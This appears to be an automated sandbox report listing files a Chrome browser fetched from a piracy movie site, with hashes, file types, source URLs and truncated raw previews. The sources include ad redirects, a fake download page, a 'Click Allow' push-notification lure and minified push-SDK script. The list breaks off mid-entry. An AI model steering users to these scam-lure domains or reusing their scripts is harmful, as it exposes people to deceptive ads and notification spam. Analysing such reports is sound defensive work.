                                                                        Preview:{"url":"https:\/\/track.starmobmedia.com\/tracking.php?aff_id=394&offer_id=1399617&aff_sub=172949960310000TUSTV426066907464V173f7&aff_sub2=3744083-2360662955-0","iurl":"https:\/\/youradexchange.com\/script\/i.php?t=1&c=23877730&stamat=m%257C%252C%252Cg2LqN2YToGU3BJ-GH0dEdHP3xP.e29%252CbcjNJj-g8ubuxrrKC1HDDvDjAO_hMsM8eiyveHxwrsye3x1ZIQPKOvsOUjJGHNphkcj3kWou-ed6wfdgGpvQGWJHsMUT3bUnpMw-aLABKMPqqsh5uP6hp8lTyhQG7ZrEqtBJLMdZPM8IU_pG1D5EAeOpoyWyEh11r1tb5sBcagyqpyERjRW8pEb7nRX4n8N733GyiY5ZcbYsoGp0IJ63wYHsFxgZnmdbyfuvIh19jdCWA5fLPZNIUuW5p-ihulCjGnXiUoIHdjBYw2Y-3ic5PF7gVW7awVKsWAnUXRnhjX7mm--3WkfyM9g5TrAESPkDAmDn8KFFNDa3NftIGi75SQaRpjyo59zWKL7uS-50zkKde1rzVCoqYXRjYYHizJHPy-v_UcGtB6e2CvSo86fU5erD-U4nBk-qyyH1cvWmmi6ZFFQZbGMAK2czzmfejaWYxeP9lWRi9bZ5XmTV6RokyYaOtWu4AtJ1VJaYtj-xY2mKtt7nJT1KQwGIEYLvdOUhkQlZUjUlwuiyeD5-zUrqUGF5bTZcgFB1E10AhwBzpmqhLh6rqqhEdI_6RYf1ZIQ7J8bTlfZjNPsISHbSJZxhACit-70VSbMhtLJ97EEhb6Ds_8tm6pPxpyPR__yi3VRkWNNsvswB1yxDIrd-2_Rqhw%252C%252C","refreshRate":null,"delay":0,"type":"tab
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "JPG edited with https://ezgif.com/optijpeg", baseline, precision 8, 165x220, components 3
                                                                        Category:downloaded
                                                                        Size (bytes):10976
                                                                        Entropy (8bit):7.947094003203277
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:135FF6B560F96FE8205CC5F067B45F6F
                                                                        SHA1:C8C7728DB62F7AC8A01B01AC426926368A18883D
                                                                        SHA-256:3C1FE8701EBBBD2168F03D09431DB87C002637CC2D22B1BDD96B6D608E775DA6
                                                                        SHA-512:32AA0B1296C189C12876E1890CAB998E2BBD6FCAC03D3DCFB186F4D2057E4BF632629B974966507F46AEBF602F4452C8039A136F5BC5AC59431153D5B492E47A
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        URL:https://www.5movierulz.mom/uploads/Nightwatch-Demons-Are-Forever-Telugu.jpg
                                                                        Preview:......JFIF.............,JPG edited with https://ezgif.com/optijpeg...C....................................................................C............................................................................".........................................H..........................!1.AQ."aq..2....#B....Rbr....$3.45C.%DSVu..................................6........................!1A.."Q.2..a....q....#BRb...............?..^Q..l..{Zt..#"q.j..j.@$.H<.H.y...,I..e....>.g.m\.{.....54....i?...K)...W.. .....'`{.w..>.'*..F.G+.#....1.P......aO..`7&.YJ;......Oi.%..b...[A.S4.d....P.X.......R_U.l}......h#;..Y7Q...Q....l...I.%.....6....h!L..(j.._(y..........S.@.n..].T......5.D..../.s...r.pP?d...8.....6K7]...._...@.b....YL.s... ...!F.u.f.O...8.."q.E......e,....f.7(/5,.I...._.#p..........g.{.#.W.2*G2.,....Z.......2..g..)6I....r.L...I+Q...a..e.d.....].... 8.....79\l.@y..r.V..v..N....e'....O.R..R,ag...Yu..J.ni..n]O6.hQ........M...vQ..!n.[Sx.Up[4..-yo...MUD.Nj......J.
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:HTML document, ASCII text, with CRLF line terminators
                                                                        Category:downloaded
                                                                        Size (bytes):555
                                                                        Entropy (8bit):4.742453633590748
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:92D1240D0145792EE71E684CFCA8F575
                                                                        SHA1:868C60C9FF18397741C904E9F44409BF95D1CE2F
                                                                        SHA-256:023AE51653C14E6CE9DE83D964FB9146328DCC3A9C5166D958546B6BF609F549
                                                                        SHA-512:87BA1302E08FAF8309F4210B7E648DBEBCB249C781DE447A12B527F92E639A2DA9BC70A08B327F8FBE5EB71ED625540C7F674FB14FC7FDAFAFA69D8209FC9FA7
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        URL:https://reloadsreviews.top/favicon.ico
                                                                        Preview:<html>..<head><title>404 Not Found</title></head>..<body>..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.23.2</center>..</body>..</html>.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->..
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:RIFF (little-endian) data, Web/P image, VP8 encoding, 192x192, Suserng: [none]x[none], YUV color, decoders should clamp
                                                                        Category:downloaded
                                                                        Size (bytes):2706
                                                                        Entropy (8bit):7.921466406178471
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:11335A75DAC7288CDE2386107BEECD14
                                                                        SHA1:ABB6F6E1A43E63125ECDF327639ED6BED1C02340
                                                                        SHA-256:2F4E4F54C8ED5929524742737235BD6B66A5AB4FAE51D625E44820901FA2F2B8
                                                                        SHA-512:8D71134ED46E0C5D59E94008B6F16521A95D00B403EE6BE597BF71C909D631A7A32D85A177B7EACE458A638CC3CBA9BDCBE79E74F02B4B6B4C7DBD11F77E722A
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        URL:https://cdn.amnew.net/files/669b516d070df_2024_07_20_05_55_57_image.webp
                                                                        Preview:RIFF....WEBPVP8 ~...p5...*....>.H.J..#!......fn.|r...#...N.......{pV_....3.x.X....0_..~b.e.p....z........s.WY.O.7._.o...Y...r&I....N.....b,._..<{..K8....../......).i.T.....b).c1&7.g..U...u.=p.5f..3...}.\...*....3{>KM...y.j...\...A..>r.......1.C.....!m.2......|..).....l.x.X.........v......:..KA.+.Y..$..c.....<......CG(.q..8H.....<Ol..bt.ac..........'.ZZ....`.T.R......i.F-.H.aA...U|.f.O|...#..6ky.8?....O....1..V..h.....?.i.J..~....y..d........8..........Y9..3:.5.|.+...0-r...#...Q.N......].-D.........X.&..cT k..S1?&..^...f*......5.W.)..+..P'mZc.l.i.R...ox............1O....t..../..:o.zl.o....\!.4.}.U1...[.).].| ....t...6Z..c..{..Nx.m...y..g.3o...W.....\Z...5U.../.....f$Q.....x.m2....RwH.#....r.42..:Uw......F+.o...kn.l....(....B(#_..}..~...N...6.!}..-..=K;.Z... ..c@.2.m...^...@q.5.>...,.....-.m.x../P./..&..Z....qU.S...J.9F.sz^.5c.k.....96."J...\.a.H.PHE.o.u.Ya...4.....U.C.X..c..}.lE@$.:.4...[{i(.#Rj...N.'.l..n/{.[[J..TWh....P...6.k..s;9^.
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "JPG edited with https://ezgif.com/optijpeg", baseline, precision 8, 165x220, components 3
                                                                        Category:dropped
                                                                        Size (bytes):11000
                                                                        Entropy (8bit):7.934705273153087
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:39BD48C537AD9908730D14D7DD9C6EE7
                                                                        SHA1:8679AB442892DB5BC5BE1F4A0A50250319229724
                                                                        SHA-256:D40580EC7996900D8DDCC1EE580C825C33C364B57E5A82AFFECBD6F64E1636E5
                                                                        SHA-512:6D3F45A1B4772D608C8AB4F19878DC2DB3F975C1F289F7A9C4DBE4C187FAE29B80C040C7AD854F8221ADCBF5A7130309F506138D24BB50CD5183F9E3B80BEEBE
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:......JFIF.............,JPG edited with https://ezgif.com/optijpeg...C....................................!*$..( ..%2%(,-/0/.#484.7*./....C............................................................................"........................................E.........................!1.A.Qa."q....2..#BR..$3...br.%4DST.................................... ......................!.1A."aQ............?..e!D.$..:wI .>.F.. ..Q.m.WP./J[|.mGq (.{s"&...Y-Z..m.x......Hd....,.....@.%&(.l[F!.X....-.$,Z.I...:A...... .@H..)...K.W.q.e..=ox..*Cz....J_.iR..*.$..!#a."..9) m..e%@..y....6.Z..H?*. DI.A..Q...w?wqa.q..@ul......,z.@.S......{K...(%..CjR.H#...(.`B..$..J..)].....k..+u...iJ....7<.....y...AO....K..'.!... ..B.(.r.?j..9.(.z..FA.........O.Li..].nl.l.......T.x....8.(.s....W...AI#..(S....o.f.~(+'Z...3.4..sv.'.]..V-.o)D,8...;..(@...;BLG.rP4...*..R..xT..M....%$..G..mD...:P..b..h.A[.P...$......u..$....pH"{.E......CKl..*....;........&...K..4.....n.\.o..$@...+....#.[K..{..a|..-....
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:HTML document, ASCII text, with very long lines (2116), with CRLF line terminators
                                                                        Category:downloaded
                                                                        Size (bytes):5015
                                                                        Entropy (8bit):5.84263105810355
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:2E4981AD5EAD5150B1B1F1839BD3D1F5
                                                                        SHA1:63B6C2956DC56716DAC41D2DF7BB8E64EDA87A33
                                                                        SHA-256:E23ACBF1BC80C3A53AED90EE1AF4AA3033E60EAFE6A38F8563A456D7A1B88476
                                                                        SHA-512:FF24B3DAFEB73E74444EA7B3A54C4560CE7A843C89C4B4D3523E5C3636BA26C1FD6376F39029E90F8E93075A9CCB8EC68B7318D29AAF91B9D14E13F1ECABFE74
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        URL:https://ssventp.com/download/U1F6a3JwNXBaaG9OZ21pMkNVSnd1R0pmK09DNllOZExPNlVINnk2TFBsb2V4bnF1Y09vdmQ4WFAyYmRobHBEMkdyQTA0Qmx6WEhSYldIQ20zV1F1OHhVeEFISE43d2J2QlAwTkxNYnFGRm1jdWdiZUpKeG45UEhIUHorb0EyUFBYMGVpb3JYKzFnZnVlV2RJKzd0WkxzVXVyejdFbWdZOVpTQkRlN0xJYnBNPTo6WMNoeG8uCf7x14IWm_iVcA
                                                                        Preview:..<html lang="en"><head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <title>File Download</title>.. <style>.... body,.. html {.. margin: 0;.. padding: 0;.. font-family:sans-serif;.. height: 100vh;.. display: flex;.. justify-content: center;.. align-items: center;.. }.... .container {.. background: #ffffff;.. padding: 40px;.. width: 90%;.. max-width: 500px;.. text-align: center;.. position: relative;.. overflow: hidden;.. }.... h1 {.. font-size: 2.5em;.. color: #ff6b6b;.. margin-bottom: 20px;.. }.... p {.. font-size: 1.1em;.. }.... .download-button {.. display: flex;.. justify-content: center;.. background: #ed323f;.. width: 160px;.. border-radius: 6px;.. color: #fff;.. font-size: 24px;.. cur
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:PNG image data, 6 x 6, 8-bit/color RGBA, non-interlaced
                                                                        Category:downloaded
                                                                        Size (bytes):152
                                                                        Entropy (8bit):5.8566085481171175
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:69327BFCB21ADDC98B7123B88EDD260C
                                                                        SHA1:C5CCA695C805F41FD60EAE3A22918657C4C39FCA
                                                                        SHA-256:D2E48932FED488CD746884F38925A1A4F36BF2CD123CD2B1CDC6B9D7AC3BDF12
                                                                        SHA-512:F6AAC252155393895DF571475B124C56FC0905B708DEE15F58E6A494E2C227A063DBC66E10EF45CBBE6707F8EC21D512522A5B918CC1B13A499833C2C233DBC3
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        URL:https://www.5movierulz.mom/img/diagonal-stripes-010.png
                                                                        Preview:.PNG........IHDR................H....tEXtSoftware.Adobe ImageReadyq.e<...:IDATx.b...?..... ...._ ..M...0a..)f.&.R.M....h9.. H1@......$QC2.....IEND.B`.
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:HTML document, Unicode text, UTF-8 text, with very long lines (14121)
                                                                        Category:downloaded
                                                                        Size (bytes):33798
                                                                        Entropy (8bit):6.168272990183447
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:5E897C2D5DD1B3C86BCDEC61433564E7
                                                                        SHA1:D4369548D3881444451927281F0B2D0DEC4C1DA6
                                                                        SHA-256:6BA605EBD11F02FF4DE615A70935D6E30D18D5DC583B63CDEED252BB7D405FDB
                                                                        SHA-512:B0400B6AADB46E7FDB88B245E4ABC24FD20000CE8A2880C48F56DBC31BF54BC62E7BECBE37EEDB0645A9815A3C9ADCB07B0562B2828E80506C89EDEB051B10C9
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        URL:https://syncfreeuberthe-file.top/hTECdNI_CXQCZ4NZwjDnQiy61ZmYwMsaU6UD7OMil6M/?cid=80914XzDr25J06&sid=394_NTI0
                                                                        Preview:<!DOCTYPE html><html> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Click Allow</title><link type="image/png" rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAC8AAAAvCAYAAABzJ5OsAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAAEnQAABJ0Ad5mH3gAAAtMSURBVGhD1VlZbFxXGf5m5s4+tme8J3ESu7bjdEFVaWhTpNL0pVWfKkGRQJS+IJUHxBtC6kMl3uGFB3jpA1JL1YWAUjYJCvQBIZbQLW3ikHhfEsee8TIez37v5fvOnXGntmfsLCD1r07unXvuOef7t+//r+srlUouPqPir10/k/KZBn/gsAlQTZ/vFnT1OYDrrXN5ksN/XN3cAWkJ3le7urpzHViWD35//ekBxcftXa0JcB9PgUbwLvd1nKYQWsq+4H38z+FI50q4nvWhVPUhGAAsjv1E3gr6XRSyOZSL3MXvRygUQCQcQHcqhGQixHe4fw2849BLNyH7gvf7fLB5vbxUxNl/O5haISACj0f290DYAtpDNpauTCO9sMa9+DsZRlcyhAfuTeHuwQ70dsWQiIUQjwZRrVS5imHlLd8lhKLp7fl9Y14LZEEZ55V/lPHmv2xcvuZDe3R/8FIyHLCxemUSi+9eRT6ThY8PLVo8Hg/gxFACj5xK4ckzh/DE6eNcQW15kO3YHJ+GJQ8pZB2GmS1rUg6UsFJA8b6Sc3F+uoo/XbTx90kPvEXFmqWBRaDhsA9r41cw++EESpt5BPnM5YKKsbIPMSp4qCeCBz7fi29++TjuH+tFO5VTCNkVD2Ug6CdwP4EzbPksyDwS6MCLL774A/PGvuJDIuJHV0
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "JPG edited with https://ezgif.com/optijpeg", baseline, precision 8, 165x220, components 3
                                                                        Category:downloaded
                                                                        Size (bytes):9818
                                                                        Entropy (8bit):7.944076884398327
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:AF056230AAAC2EDE74CAB637C8F4ED96
                                                                        SHA1:1DADA1FCA3915C9AEBD4DB7C17182E129EA7BA55
                                                                        SHA-256:59E6BCB3959F442E6A5BBA77EF30ADD14264439130483881D7D7DBF50101029F
                                                                        SHA-512:99A30D4826CB27BE84C1EE2BE1CC64341796ECD42AEE7C09C2B83AD003C69EC2112CE9855FEC859A17678B4AD6CC081CCDA2F544EF7B3B4A462CD753D5A2B309
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        URL:https://www.5movierulz.mom/uploads/The-Gaelic-King-Telugu.jpg
                                                                        Preview:......JFIF.............,JPG edited with https://ezgif.com/optijpeg...C......................"....)$+*($''-2@7-0=0''8L9=CEHIH+6OUNFT@GHE...C.......!..!E.'.EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE...........".......................................?.........................!1A..Qa"q..2...#BS....3Rb....Cr.4.................................).......................!1..AQ...B.."2.R............?..x..[.k1..J'g.p9..nFG.......b.."b...`.W...c...0...B....-*.....*.."O.*.9.ZKf..-...l.=.`...j...x....{I.....V8..$.x<..J........C+b..(..[H...~....D5/.j:R..-.E.08..lR3.Q@ev.w.d.].I..TQ3yr"...............2*"N.._..y'.......S.-....}...g8#9.B4..R.....n........{.!V.Na.....@....=..=v#.[U_#.....~.hX.H...E$.c,.z.....5...f8TS....z....3q.XY....P..}>~....'..aD...YQ,..k(.......JA..`.@.@4@M...TZ.%.Fh:p.i.m.z"H)kd.04L..N.Tzh2...I.ya..M...`.....8..)...6.~..AQkd#7..M........d..b........G._.G.'..[.........M.\.I..y@..,..j...vwV.=...q.K u......s.O."..........?#[..z.....m...J...9.....:
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:JSON data
                                                                        Category:downloaded
                                                                        Size (bytes):49
                                                                        Entropy (8bit):4.987059078764934
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:0E52A3641D43F06822D7D491A3480D55
                                                                        SHA1:6AF42F07B52A1FD5BAF610CCF7484166AB4C4036
                                                                        SHA-256:3951F1367B2F9A50F303E8E8CE489175BB563D663FAF2F53EAC9DCE972DF5DAD
                                                                        SHA-512:A1582DBD25E12838612DAD4C3C02E941F7A3F9D533D38ADBB7A6206F6836B6F758846284980DEFD0E684CEEFA11E3A9EF5787F46A24F454E9737C89DE9387DF1
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        URL:https://reloadsreviews.top/hood/cmVsb2Fkc3Jldmlld3MudG9w/conf.json
                                                                        Preview:{"push_code": "NjY4ZwSkNAFfmDQ2cXMxNDY4MjE0Nv4b"}
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "JPG edited with https://ezgif.com/optijpeg", baseline, precision 8, 165x220, components 3
                                                                        Category:dropped
                                                                        Size (bytes):10601
                                                                        Entropy (8bit):7.954592358576214
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:64D48EBD5B071C0B58CB4D329DB72158
                                                                        SHA1:5EFEF0CD179B8F608937DF67C3DC1B5ADFD71B23
                                                                        SHA-256:1EAF485A3B972C31F6D1FA874760020AEE61FD7E2B34BC7FE0248BD54132973C
                                                                        SHA-512:51F8550EFFA6DD0AB1691486F24CEF17C16444A7908CA4BF2BE1F00AB8D5EE8BACFF8A55ECA187D3DD1E5DB50B8CA70ED3067DD2008259D4E02A5B9C8A2024D1
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:......JFIF.............,JPG edited with https://ezgif.com/optijpeg...C..............................................!........."$".$.......C............................................................................"........................................?.........................!.1."AQ2aq..#...BRb.......3Cr.$...................................#......................!.1"A.Qa#B.............?..<.......pZu,z.....Xq+......f.......g!\:......gM..2.....A..s...\K?R.%.,sD..q,.|....;.@.8..5..G_2.-.{R.,/j...kS."^X.o+nep.4....q-..u...K.\...|....Q7Ja...L`.b...,.......wG.9.N...s.g......>.i...}..?k?ovZ>..gM[[.L%h...;G....l..FS..&tU.....m.....c.!:.=H.i6WVR....N......9....:c.....V..<H...a..Ua...tF.g..."...wh...Q.@...@....@...M.{I..\..8,..M.$c.P......3.__.D.,O.....P..zat...;....^...;K..Yd_..uXU.EUfbK..w>..&.M..v...o.O.c.VD.iaa.;.(.....2Ga.......X~..'./....:m<.=.py.5.?..n:..m.].l.;.=.<.qYF..=So~VN[4{N.Y#....)..A...u.a.....(..%..5.I...{...#&..M.r<n...Q\. .08.Xt..C. =
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "JPG edited with https://ezgif.com/optijpeg", baseline, precision 8, 165x220, components 3
                                                                        Category:dropped
                                                                        Size (bytes):10405
                                                                        Entropy (8bit):7.953998193109004
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:A3D8864A560AA94DD3B071630883A5FD
                                                                        SHA1:D21BCDE480543D666E3B8B9823E38EF41B952AEA
                                                                        SHA-256:8AD2D27C02130BF98DCC93ED4EA0DA6AE26C86E80A2690C2CA4129E2F499B6C1
                                                                        SHA-512:B1FA37DE5FF7DB9EDC8A03798B366DC3697716EB7B3165FE8057C9E767E2C3DD9C0813A478D8A0D67D00562426039B0D176BEDE2ECE0AE6820DB15C4997D7E5C
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:......JFIF.............,JPG edited with https://ezgif.com/optijpeg...C...........................$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=...C...........=)#)==================================================...........".......................................C.........................!1A.."Qaq....2....#$BR..b..r..3...&4Cs................................(......................!.1.A"Q2..B.................?...i.F....F.!..r...c.V.!@.hS.96....+..C;.j.w.t..l.._~..f4.>P..M....&,4...P...[./.T=o...Hq.qm.X..c|G.gk..#.fk...:.....9...J.w*.._#s.../..sn.w.1.C..,p@u#.....*T.l..~X-cH..50.b8...m.?..k....&]G.........tg<`...}&........>.-aZ.hY$....~X..%?|i...u..@?.H/ac8......q..$..Y..\l.\./...4...<m.E../l{UUO...h.6.0..qP.Ef.V*...n@........[-..-...\.....Y.......v$.......R...J.7...z..[.M$[\...}......s...*..W.qf"..?S.R.l....u. ...crx$t..#..99.h.K,......t..4...{...m.-..4.d...f=8.[.G....v&.1$.I.....T42.v4..<.R."0.R..Z.3..(...y.}.{...:l..)...7.I...1..'...mN. `...x.Ad..[.GK..b.Bu.m.....Qt....
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:ASCII text, with very long lines (33530)
                                                                        Category:dropped
                                                                        Size (bytes):33531
                                                                        Entropy (8bit):5.592563297305314
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:742C3FB27A4D5E4E7AB5AB93D7ABE3E9
                                                                        SHA1:6EDB5651A0F13E3A9CFBFFB8ECFB3C331EBBF8BD
                                                                        SHA-256:81195ECEF1EF260CDDAB7B3AB6123888768242882B856B5FAB360F25850A9FA1
                                                                        SHA-512:B2511F87E90BEE4C598FAFEADD8A6ACEB7ADDD248F560F576EEEE551242EF8AAE5014AAC4F84522B674418D5DDF7161FDF26513FC2595D5C73C94CB5F7DD4AB8
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:!function(){"use strict";var e=!1;"undefined"!=typeof Promise&&Array.prototype.includes&&"IntersectionObserver"in window||(e="https://sdk.ocmhood.com/sdk/pf.js");var t=e,n=function(e){for(var t=(e+"=".repeat((4-e.length%4)%4)).replace(/\-/g,"+").replace(/_/g,"/"),n=window.atob(t),o=new Uint8Array(n.length),i=0;i<n.length;++i)o[i]=n.charCodeAt(i);return o};var i=function(e){var t={},n=document.createElement("a");n.href=e||window.location.href;for(var o=(n.search.substring(1)+"&"+n.hash.substring(1)).split("&"),i=0;i<o.length;i++){var r=o[i].split("=");""!=r[0]&&(t[r[0]]=decodeURIComponent(r[1]))}return t},r=function(e){return/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent)?"mobile":"desktop"},s=function(){var e="undefined"!=location.protocol&&"https:"===location.protocol;return"undefined"!=location.protocol&&e},a=function(e){try{e=(new Date).getTimezoneOffset()/60*-1}catch(t){e=0}return e},c=function(){var e="_lspf";try{var t=localStorage||windo
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:Unicode text, UTF-8 text, with very long lines (65499), with no line terminators
                                                                        Category:dropped
                                                                        Size (bytes):126316
                                                                        Entropy (8bit):5.413479565535034
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:F83E4596E20DA20F2F64F43A19BF40DB
                                                                        SHA1:4B58227469C218E107817522BB71ADE4D75658A8
                                                                        SHA-256:7FE4378133DB32B73F8D9A1BF6607BA4C5150C8D8F343DF06236ED61D128EDA1
                                                                        SHA-512:1D94AC4C0635CA7CC2A360C9372486306F09CB0A23DC5B6284C34AA3988EAF6A01466D7A10C906C6CFEAD7A6604065608EBD4F80101BEBB8B390D90C65C42308
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:!function(){var t={145:function(t,e,r){t.exports=r(6104)},653:function(t,e,r){t.exports=r(7392)},7412:function(t,e,r){t.exports=r(6201)},9524:function(t,e,r){t.exports=r(899)},4071:function(t,e,r){t.exports=r(2066)},2608:function(t,e,r){t.exports=r(1491)},7950:function(t,e,r){t.exports=r(7017)},4369:function(t,e,r){t.exports=r(2590)},8001:function(t,e,r){t.exports=r(9640)},5103:function(t,e,r){t.exports=r(2480)},1879:function(t,e,r){t.exports=r(7010)},8462:function(t,e,r){t.exports=r(5825)},576:function(t,e,r){t.exports=r(7975)},414:function(t,e,r){t.exports=r(6002)},6013:function(t,e,r){t.exports=r(8512)},7513:function(t,e,r){t.exports=r(4978)},8075:function(t,e,r){t.exports=r(2131)},7286:function(t,e,r){t.exports=r(1478)},353:function(t,e,r){"use strict";r(3131),r(9819);var n=r(8088);t.exports=n.Array.from},3677:function(t,e,r){"use strict";r(9263);var n=r(8088);t.exports=n.Array.isArray},2965:function(t,e,r){"use strict";r(4089),r(3070);var n=r(917);t.exports=n("Array","entries")},3
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "JPG edited with https://ezgif.com/optijpeg", baseline, precision 8, 165x220, components 3
                                                                        Category:dropped
                                                                        Size (bytes):10480
                                                                        Entropy (8bit):7.943772604641774
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:8071138B3A299CA932B1923F809BC7BC
                                                                        SHA1:A9087590F8DCBE62E2F2E3AE69CF9CC422AE4076
                                                                        SHA-256:5B0442E49B94793A43CA78A40D15B12931ACBB9ACE2B4B45E2C90A23ED5E74F5
                                                                        SHA-512:3DE64D2C0620B12A00B695F95F5C195DD4E2642AD110989551AA05319F2734BA884D0C9D2434E8E2922A836B255405464C6F66132D3660A59BF7BE27F57DA09C
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:......JFIF.............,JPG edited with https://ezgif.com/optijpeg...C...........................$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=...C...........=)#)==================================================...........".......................................?.........................!1AQ.."a.q..#2..B....3R..$b...4C.c................................-......................!...1AQ.".Bq...$2aR..............?..IT....G.e.,.#Y........Ox"...76......}0=D^D....b.AT... .....CmL..C.*._U..l\.......9M..&...hS/.NT.;..J..Z.5-11......%.;..`....o.....[...JR4.!YnM..v.....^..y"....j(..2.........6....;.1.v.$..h...$..q.G[)....wY..b...N..8......(.u7...cB..xZ...OD...?.....hS..\..eT+.V%...[........X..........>.....y...o!t.r$.r.-....._!H..s.....b..0...=.M[..v...?.).e24B9..p......h<5.6H&R.....!.l.._..<a.O....&.5.23>..;j.GM...lg.L.u.Z...0q..a..;.E..cQ.V......w..6...qks.ak&....v...t.t-.'m'..N.QR!U;.*....e..J.?..E...T.....|/..C((..............)@,..Y.G.TN.p.n1.-....F~l.....I..........F%G.s....
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:MS Windows icon resource - 1 icon, 16x16, 8 bits/pixel
                                                                        Category:dropped
                                                                        Size (bytes):1406
                                                                        Entropy (8bit):5.626512217804981
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:28284116542FC6802B3A729153ADEE30
                                                                        SHA1:BE4ED46111DD7CDE52654D3926699AEA42346E99
                                                                        SHA-256:C9360A50F993A3471C0F0BF19D1755D53906FDD02629C1CC876C2693A02D0B8F
                                                                        SHA-512:0C95BCC281BB9808058625774BB6A076C13D81E2AD1FD31DBC717C38D3C9FD56E4DBB0C419C8A51344422450ADF1C1FDA28F8E8E17206700021205FCC0DDA203
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:..............h.......(....... ....................................T9.))(.B..."...A.......D...$...'...c*......F...I...S"..U"..n3!.8...9.......<...............y6!.@...A...%...|||..P..^+..}||..L5..:$.L...,...-........Z:...j.6...Y%..{zn.....>...@...RRR."...$...%.......c)..E...H.....b.-.....k.i-......p,...=%.g3#.Q!......1...5...9.......W%...A(.V&..9...Z%..;...#..._)..$...F...........+...B#..-....?,......j.M!..R ..Q!...L..6...!..."...#...<...$...B...C...D...E.......I...*...,...-....='...p.q0..<42.....LLL.Y$..<...'''.>......."...#....lO.~8".'...a-..(...*...bSO..G*.M ..N ..........5...o0.......nL.U$..3...:...;...!.......!...D...&.......`,..H....r.*...i+...jJ.O.../...444..wL......@).....8...:...v3..w3...... ...!..........E...G...(....6..)...K...P...1...0...s...aa`..`@.9...<....vT..5..&...'...(....iI.*...g*..H...YXX.I......./...P...0...poo.2....P6..>%.5...W"..aaa.8...%%%.v2...............B(.Z'..\&..<<<...........................................................................................
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:PNG image data, 8 x 9, 8-bit/color RGBA, non-interlaced
                                                                        Category:downloaded
                                                                        Size (bytes):1071
                                                                        Entropy (8bit):6.293573469582512
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:C517B731F833DBAD09F989DBF1469384
                                                                        SHA1:0FE32D459A85CCEF07807B79D0785CD0378C1665
                                                                        SHA-256:32E40C597C0EF46359DEC7A2BBCA9F08A215BF9A2E35B6F5290119B11844F4D4
